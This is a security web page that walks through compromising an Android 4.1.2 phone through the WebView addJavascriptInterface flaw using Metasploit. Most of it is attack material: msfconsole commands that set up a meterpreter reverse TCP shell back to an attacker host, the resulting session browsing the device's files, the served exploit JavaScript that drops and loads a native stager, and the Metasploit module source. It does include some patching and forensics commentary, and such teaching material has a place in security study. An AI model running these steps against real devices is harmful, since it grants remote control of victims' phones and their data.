[ Log On ]
  • Home
  • Tst
  • Cha
  • Enc
  • Code
  • IP
  • Fun
  • Sub
  • DigF
  • Cis
  • Com
  • Db
  • About
  • Netsim

Android WebView addJavascriptInterface Code execution Vulnerability

[Back] This article shows how an Android device can be compromised using Metasploit. The device used is a Samsung S 3 phone with Android 4.1.2, and the attacker uses a vulnerability between the interface of JavaScript and Java to install a remote shell. In this case the attacking host is at 192.168.0.24, and the intruder tricks the user to access http://192.168.0.24:8080/Security.

The first demo uses a vulnerability in Andriod 4.1.x, where there was a bug in the interface between JavaScript and the Java engine, and which allowed for a remote shell to be executed on the device from a simple Web access from a browser on the device:

In this case, there is no installed software for the exploit on the device, and the intruder just gets the user to visit a given site (in this case 192.168.0.24:8080/Security) and they have a remote shell into the device. The most important thing here is that users should continually update their systems, in order to overcome this type of vulnerability. Over 2014, this vulnerability remained unpatched, and thus users were at risk.

Google have also announced that they will not patch every Android device for WebView for Android versions before 4.4, and that users may have to wait a long time for patch:

If the affected version [of WebView] is before 4.4, we generally do not develop the patches ourselves, but welcome patches with the report for consideration. Other than notifying OEMs, we will not be able to take action on any report that is affecting versions before 4.4 that are not accompanied with a patch.

Thus they are not patching any of the versions up to, and including Android 4.3. From (Rapid7, 2015) the current share of the Android market is:

As we can see the distribution is around 60% still at 4.3 and below, which could put over 900 million Android devices at risk of a backdoor connection through the WebView vulnerability.

Creating the Vulnerability

root@kali:~# msfconsole
[*] Starting the Metasploit Framework console...|

       =[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]
+ -- --=[ 1387 exploits - 866 auxiliary - 236 post        ]
+ -- --=[ 342 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Next we define the Webview exploit:

msf > use exploit/android/browser/webview_addjavascriptinterface

Next we define we setup the options we need:

msf exploit(webview_addjavascriptinterface) > set LHOST 192.168.0.24
LHOST => 192.168.0.24
msf exploit(webview_addjavascriptinterface) > show options
   
Module options (exploit/android/browser/webview_addjavascriptinterface):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Retries  true             no        Allow the browser to retry the module
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (android/meterpreter/reverse_tcp):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   AutoLoadAndroid  true             yes       Automatically load the Android extension
   LHOST            192.168.0.24     yes       The listen address
   LPORT            4444             yes       The listen port
   RetryCount       10               yes       Number of trials to be made if connection failed


Exploit target:

   Id  Name
   --  ----
   0   Automatic

One of the options is to define the folder for the URL:


msf exploit(webview_addjavascriptinterface) > set URIPATH Security
URIPATH => Security

Next run the exploit:

msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.24:4444 
[*] Using URL: http://0.0.0.0:8080/Security
[*]  Local IP: http://127.0.0.1:8080/Security
[*] Server started.
msf exploit(webview_addjavascriptinterface) > [*] 192.168.0.13     webview_addjavascriptinterface - Gathering target information.
[*] 192.168.0.13     webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.0.13     webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (43586 bytes) to 192.168.0.13
[*] Meterpreter session 1 opened (192.168.0.24:4444 -> 192.168.0.13:49962) at 2015-01-19 23:29:04 +0000

The Android device has now connected to Metasploit::

msf exploit(webview_addjavascriptinterface) > sessions -i

Active sessions
===============

  Id  Type                      Information   Connection
  --  ----                      -----------   ----------
  1   meterpreter java/android   @ localhost  192.168.0.24:4444 -> 192.168.0.13:49962 (192.168.0.13)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls

Listing: /data/data/com.mx.browser/files/.
==========================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  4620  fil   2015-01-19 21:51:31 +0000  addons.xml
40666/rw-rw-rw-   4096  dir   2015-01-19 21:51:28 +0000  banners
40666/rw-rw-rw-   4096  dir   2015-01-19 22:44:00 +0000  data
100666/rw-rw-rw-  36    fil   2015-01-19 21:51:28 +0000  gaClientId
100666/rw-rw-rw-  1123  fil   2015-01-19 23:26:01 +0000  hotword_v2.con
100666/rw-rw-rw-  2848  fil   2015-01-19 21:51:30 +0000  newnavigation.html
100666/rw-rw-rw-  6917  fil   2015-01-19 21:51:30 +0000  quickdial.xml
100666/rw-rw-rw-  1969  fil   2015-01-19 21:51:31 +0000  search_engine_identifier.xml
100666/rw-rw-rw-  1052  fil   2015-01-19 21:51:31 +0000  special_ua_websites.xml
100666/rw-rw-rw-  5536  fil   2015-01-19 21:51:30 +0000  topsites.json

meterpreter > cd /
meterpreter > ls

Listing: /
==========

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40444/r--r--r--   0       dir   2015-01-19 23:25:20 +0000  acct
40000/---------   4096    dir   2015-01-19 21:29:48 +0000  cache
40000/---------   0       dir   2015-01-19 23:25:20 +0000  config
40444/r--r--r--   0       dir   1970-01-01 01:00:00 +0100  d
40000/---------   4096    dir   2015-01-19 23:25:22 +0000  data
100444/r--r--r--  116     fil   1970-01-01 01:00:00 +0100  default.prop
40444/r--r--r--   3720    dir   2015-01-19 23:25:21 +0000  dev
40000/---------   4096    dir   2015-01-19 21:31:44 +0000  efs
40444/r--r--r--   4096    dir   2015-01-19 21:19:16 +0000  etc
40000/---------   4096    dir   2015-01-19 21:31:44 +0000  factory
100000/---------  923     fil   1970-01-01 01:00:00 +0100  fstab.smdk4x12
100000/---------  109336  fil   1970-01-01 01:00:00 +0100  init
100000/---------  3604    fil   1970-01-01 01:00:00 +0100  init.bt.rc
100000/---------  2344    fil   1970-01-01 01:00:00 +0100  init.goldfish.rc
100000/---------  30991   fil   1970-01-01 01:00:00 +0100  init.rc
100000/---------  15158   fil   1970-01-01 01:00:00 +0100  init.smdk4x12.rc
100000/---------  6583    fil   1970-01-01 01:00:00 +0100  init.smdk4x12.usb.rc
100000/---------  1637    fil   1970-01-01 01:00:00 +0100  init.trace.rc
100000/---------  3915    fil   1970-01-01 01:00:00 +0100  init.usb.rc
40444/r--r--r--   0       dir   1970-01-01 01:00:00 +0100  lib
100444/r--r--r--  1618    fil   1970-01-01 01:00:00 +0100  lpm.rc
40444/r--r--r--   0       dir   2015-01-19 23:25:20 +0000  mnt
40000/---------   0       dir   2015-01-19 23:25:20 +0000  preload
40444/r--r--r--   0       dir   1970-01-01 01:00:00 +0100  proc
40000/---------   0       dir   2013-03-11 08:32:02 +0000  root
40000/---------   0       dir   1970-01-01 01:00:00 +0100  sbin
40666/rw-rw-rw-   4096    dir   2015-01-19 21:51:28 +0000  sdcard
40444/r--r--r--   0       dir   2015-01-19 23:25:20 +0000  storage
40444/r--r--r--   0       dir   2015-01-19 23:25:20 +0000  sys
40444/r--r--r--   4096    dir   2015-01-19 21:28:42 +0000  system
100444/r--r--r--  272     fil   1970-01-01 01:00:00 +0100  ueventd.goldfish.rc
100444/r--r--r--  3879    fil   1970-01-01 01:00:00 +0100  ueventd.rc
100444/r--r--r--  3442    fil   1970-01-01 01:00:00 +0100  ueventd.smdk4x12.rc
40444/r--r--r--   4096    dir   2013-03-11 09:06:49 +0000  vendor


Forensics Analysis

The trace for the traffic which generates the vulnerability is here

GET /Security HTTP/1.1
Host: 192.168.0.24:8080
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 MxBrowser/4.3.7.2000 
Accept-Encoding: gzip,deflate
Accept-Language: en-GB, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Cookie: __ua=iIgoVJOhChGPUJBPRg

The reply from Metasploit is:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: __ua=UnzKETsI;
Connection: Keep-Alive
Server: Apache
Content-Length: 120292

      <script>
      var _={"\137\x6b\u0065\x79\u0053\u0074\x72":(function () { var pI="wxyz0123456789+/=",B="klmnopqrstuv",G="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg",h="hij"; ... code missed out here ... ,0143,0165,0162,0x69,116,0x79,47,0111,117,78,80,79,0144,47);});};
      </script>
      <noscript>
      <img style="visibility:hidden" src="/Security/FYAYLJv/">
      <meta http-equiv="refresh" content="1; url=/Security/IuNPOd/">
      </noscript>

We can see from the code above that there is a hidden image (generated from the call to the FYAYLJv folder), and the following will cause the page to refresh with a call to IuNPOd:

 <meta http-equiv="refresh" content="1; url=/Security/IuNPOd/">

Just look at how this has been scrambled. For example: "\137\x6b\u0065\x79\u0053\u0074\x72" has a number of conversions here. "\137" uses Octal and is "k", "\x6b" uses hex and is "e", "\u0065" is unicode to give "y", and so on, to give "keyStr".

Next there is a POST for the ggpkh folder:

POST /Security/ggpkh/ HTTP/1.1
Host: 192.168.0.24:8080
Connection: keep-alive
Referer: http://192.168.0.24:8080/Security
Content-Length: 196
Origin: http://192.168.0.24:8080
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 MxBrowser/4.3.7.2000 
Accept-Encoding: gzip,deflate
Accept-Language: en-GB, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Accept: */*
Cookie: __ua=UnzKETsI

The reply becomes:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: __ua=;
Connection: Keep-Alive
Server: Apache
Content-Length: 0

And now we see the post back from the device to the IuNPOd folder:

GET /Security/IuNPOd/ HTTP/1.1
Host: 192.168.0.24:8080
Connection: keep-alive
Referer: http://192.168.0.24:8080/Security
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 MxBrowser/4.3.7.2000 
Accept-Encoding: gzip,deflate
Accept-Language: en-GB, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
Cookie: __ua=UnzKETsI

With a reply from Metasploit which delivers the JVM byte code for the injection:

HTTP/1.1 200 OK
Content-Type: text/html
Connection: Keep-Alive
Server: Apache
Content-Length: 114014

<!doctype html><html><body><script>
      function exec(runtime, cmdArr) {
        var ch = 0;
        var output = '';
        var process = runtime.exec(cmdArr);
        var input = process.getInputStream();

        while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
        return output;
      }

      function attemptExploit(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

        // get the pid
        var pid = obj.getClass()
                     .forName('android.os.Process')
                     .getMethod('myPid', null)
                     .invoke(null, null);

        // get the runtime so we can exec
        var runtime = obj.getClass()
                         .forName('java.lang.Runtime')
                         .getMethod('getRuntime', null)
                         .invoke(null, null);

        // libraryData contains the bytes for a native shared object built via NDK
        // which will load the "stage", which in this case is our android meterpreter stager.
        var libraryData = "\\0177\\0105\\0114\\0106\\01\\01\\01\\00\\00 .... code missed out here ...   \00";

        // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
        // another stager which loads android meterpreter from the msf handler.
        var stageData = "\\0120\\0113\\03\\04\\024\\00\\00\\00\\010\\00\    ... code missed out here ...    \\00\\00";

        // get the process name, which will give us our data path
        // $PPID does not seem to work on android 4.0, so we concat pids manually
        var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);

        var libraryPath = path + '/libunatXPSZ.so';
        var stagePath = path + '/MCVuy.apk';

        // build the library and chmod it
        runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
        runtime.exec(['chmod', '700', libraryPath]).waitFor();

        // build the stage, chmod it, and load it
        runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
        runtime.exec(['chmod', '700', stagePath]).waitFor();

        // load the library
        runtime.load(libraryPath);

        // delete dropped files
        runtime.exec(['rm', stagePath]).waitFor();
        runtime.exec(['rm', libraryPath]).waitFor();

        return true;
      }

      for (i in top) { if (attemptExploit(top[i]) === true) break; }
    </script></body></html>
    

Metasploit script

We examine root@kali:/usr/share/metasploit-framework/modules/exploits/android/browser ... to get:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/android'

class Metasploit3 > Msf::Exploit::Remote

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Android

  VULN_CHECK_JS = %Q|
    for (i in top) {
      try {
        top[i].getClass().forName('java.lang.Runtime');
        is_vuln = true; break;
      } catch(e) {}
    }
  |

  autopwn_info(
    :os_name    => OperatingSystems::Match::ANDROID,
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => VULN_CHECK_JS
  )

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description'         => %q{
            This module exploits a privilege escalation issue in Android > 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'             => MSF_LICENSE,
      'Author'              => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'          => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
        ['CVE', '2012-6636'], # original CVE for addJavascriptInterface
        ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
        ['EDB', '31519'],
        ['OSVDB', '97520']
      ],
      'Platform'            => 'android',
      'Arch'                => ARCH_DALVIK,
      'DefaultOptions'      => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
      'Targets'             => [ [ 'Automatic', {} ] ],
      'DisclosureDate'      => 'Dec 21 2012',
      'DefaultTarget'       => 0,
      'BrowserRequirements' => {
        :source     => 'script',
        :os_name    => OperatingSystems::Match::ANDROID,
        :vuln_test  => VULN_CHECK_JS,
        :vuln_test_error => 'No vulnerable Java objects were found in this web context.'
      }
    ))

    deregister_options('JsObfuscate')
  end

  # Hooked to prevent BrowserExploitServer from attempting to do JS detection
  # on requests for the static javascript file
  def on_request_uri(cli, req)
    if req.uri =~ /\.js/
      serve_static_js(cli, req)
    else
      super
    end
  end

  # The browser appears to be vulnerable, serve the exploit
  def on_request_exploit(cli, req, browser)
    arch = normalize_arch(browser[:arch])
    print_status "Serving #{arch} exploit..."
    send_response_html(cli, html(arch))
  end

  # Called when a client requests a .js route.
  # This is handy for post-XSS.
  def serve_static_js(cli, req)
    arch          = req.qstring['arch']
    response_opts = { 'Content-type' => 'text/javascript' }

    if arch.present?
      print_status("Serving javascript for arch #{normalize_arch arch}")
      send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
    else
      print_status("Serving arch detection javascript")
      send_response(cli, static_arch_detect_js, response_opts)
    end
  end

  # This is served to requests for the static .js file.
  # Because we have to use javascript to detect arch, we have 3 different
  # versions of the static .js file (x86/mips/arm) to choose from. This
  # small snippet of js detects the arch and requests the correct file.
  def static_arch_detect_js
    %Q|
      var arches = {};
      arches['#{ARCH_ARMLE}']  = /arm/i;
      arches['#{ARCH_MIPSLE}'] = /mips/i;
      arches['#{ARCH_X86}']    = /x86/i;

      var arch = null;
      for (var name in arches) {
        if (navigator.platform.toString().match(arches[name])) {
          arch = name;
          break;
        }
      }

      if (arch) {
        // load the script with the correct arch
        var script = document.createElement('script');
        script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
        script.setAttribute('type', 'text/javascript');

        // ensure body is parsed and we won't be in an uninitialized state
        setTimeout(function(){
          var node = document.body \|\| document.head;
          node.appendChild(script);
        }, 100);
      }
    |
  end

  # @return [String] normalized client architecture
  def normalize_arch(arch)
    if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
  end

  def html(arch)
    ">!doctype html>>html>>body>>script>#{add_javascript_interface_exploit_js(arch)}>/script>>/body>>/html>"
  end
end


Conclusions

This article shows how an intruder can gain access to an Android device remotely using a vulnerability in the operating system.